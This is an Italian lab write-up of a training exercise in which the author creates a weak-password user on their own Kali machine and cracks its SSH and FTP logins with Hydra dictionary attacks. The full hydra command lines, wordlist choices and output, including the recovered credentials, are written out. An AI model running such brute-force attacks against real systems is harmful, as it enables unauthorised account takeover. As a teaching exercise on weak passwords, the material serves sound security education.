

# Authentication cracking con Hydra

## Introduzione

L'obiettivo di questa esercitazione è simulare un attacco per craccare l'autenticazione di servizi di rete utilizzando Hydra , uno degli strumenti più diffusi per questo tipo di operazioni. L'esercizio si concentra sui servizi **SSH** e **FTP** , valutando quanto sia facile compromettere un sistema configurato in modo insicuro.

## Configurazione user

Tramite terminale di **kali linux**, abbiamo creato un nuovo utente chiamato **test\_user** e inserito una password semplice (**testpass**).

```
└─$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []: testuser
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n]
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Successivamente attiviamo il servizio ssh con il comando **sudo service ssh start** e testiamo la connessione, nel nostro caso le credenziali inserite sono corrette in quanto riceviamo il prompt dei comandi dell'utente **test\_user** sulla nostra kali.

```
└─(kali㉿kali)-[~]
└─$ ssh test_user@192.168.1.201
test_user@192.168.1.201's password:
Linux kali 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 7 04:05:25 2025 from 192.168.1.201
└─(test_user㉿kali)-[~]
└─$ █
```

## Attacco al servizio SSH

Per testare la sicurezza del servizio SSH, abbiamo utilizzato **Hydra** con una wordlist contenente oltre **1 milione di password**, presa direttamente da **Seclists**.

```
(kali@kali) - [usr/share/seclists]
$ hydra -L Usernames/xato-net-10-million-usernames.txt -P Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.201 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
ese ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 06:42:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500000 login tries (l:8295455/p:1000000), ~207386375000 tries per task
[DATA] attacking ssh://192.168.1.201:22/
```

Dopo alcuni minuti di attesa decidiamo di interrompere il processo perchè avrebbe richiesto molto tempo.

Andiamo quindi a creare una wordlist che include password comuni estratte da Seclists e aggiunto manualmente la password **testpass**, che so essere quella dell'utente **test\_user**.

Data la dimensione ridotta della wordlist riusciamo ad ottenere le credenziali in breve tempo.

```
$ hydra -L test1password.txt -P test1password.txt 192.168.1.201 -t2 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or sec
ese ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 05:43:16
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from
[DATA] max 2 tasks per 1 server, overall 2 tasks, 361 login tries (l:19/p:19), ~181 tries per
[DATA] attacking ssh://192.168.1.201:22/
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kalimba" - 1 of 361 [child 0] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kalina" - 2 of 361 [child 1] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kاليyah" - 3 of 361 [child 1] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "alkaline" - 4 of 361 [child 0] (0/0)
[ATTEMPT] target 192.168.1.201 - login "test_user" - pass "kalima" - 275 of 361 [child 0] (0/0)
[ATTEMPT] target 192.168.1.201 - login "test_user" - pass "kaliman" - 276 of 361 [child 1] (0/0)
[ATTEMPT] target 192.168.1.201 - login "test_user" - pass "kalie" - 277 of 361 [child 0] (0/0)
[ATTEMPT] target 192.168.1.201 - login "test_user" - pass "kalifa" - 278 of 361 [child 1] (0/0)
[ATTEMPT] target 192.168.1.201 - login "test_user" - pass "kاليyah1" - 279 of 361 [child 0] (0/0)
[ATTEMPT] target 192.168.1.201 - login "test_user" - pass "kalimero" - 280 of 361 [child 0] (0/0)
[ATTEMPT] target 192.168.1.201 - login "test_user" - pass "test_user" - 281 of 361 [child 1] (0/0)
[ATTEMPT] target 192.168.1.201 - login "test_user" - pass "testpass" - 282 of 361 [child 0] (0/0)
[22][ssh] host: 192.168.1.201 login: test_user password: testpass
[ATTEMPT] target 192.168.1.201 - login "testpass" - pass "kalimba" - 286 of 361 [child 0] (0/0)
[ATTEMPT] target 192.168.1.201 - login "testpass" - pass "kalina" - 287 of 361 [child 1] (0/0)
[ATTEMPT] target 192.168.1.201 - login "testpass" - pass "kاليyah" - 288 of 361 [child 0] (0/0)
```

## Attacco al servizio FTP

Successivamente, abbiamo configurato e avviato il servizio FTP utilizzando **vsftpd** con il comando

**sudo service vsftpd start.**

Una volta avviato il servizio, abbiamo ripetuto l'attacco con Hydra, questa volta mirando al servizio FTP sulla porta 21. Per monitorare lo stato dell'attacco e interrompere il processo non appena le credenziali corrette fossero state trovate, abbiamo aggiunto i parametri **-V** (verbose mode) e **-f** (ferma l'esecuzione dopo il primo successo).

```
(kali㉿kali)~[~]
$ hydra -L testpassword.txt -P testpassword.txt ftp://192.168.1.201 -V -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
ese *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 07:48:56
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found,
[DATA] max 16 tasks per 1 server, overall 16 tasks, 484 login tries (l:22/p:22), ~31 tries per task
[DATA] attacking ftp://192.168.1.201:21/
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kalimba" - 1 of 484 [child 0] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kalina" - 2 of 484 [child 1] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kاليyah" - 3 of 484 [child 2] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "alkaline" - 4 of 484 [child 3] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kalita" - 5 of 484 [child 4] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kalimera" - 6 of 484 [child 5] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kalimantan" - 7 of 484 [child 6] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "nakalimutanko" - 8 of 484 [child 7] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kalima" - 9 of 484 [child 8] (0/0)
[ATTEMPT] target 192.168.1.201 - login "kalimba" - pass "kaliman" - 10 of 484 [child 9] (0/0)

[ATTEMPT] target 192.168.1.201 - login "test_user" - pass "kali" - 327 of 484 [child 5] (0/0)
[ATTEMPT] target 192.168.1.201 - login "test_user" - pass "nino" - 328 of 484 [child 4] (0/0)
[21][ftp] host: 192.168.1.201 login: test_user password: testpass
[STATUS] attack finished for 192.168.1.201 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 07:50:12
```

Anche in questo caso, Hydra ha individuato rapidamente la password **testpass**.

## Conclusioni

Questa simulazione ci dimostra quanto sia facile compromettere servizi di rete come SSH e FTP quando vengono utilizzate credenziali deboli. Anche un **attacco a dizionario** con strumenti basilari come Hydra può avere successo se le password sono semplici o prevedibili.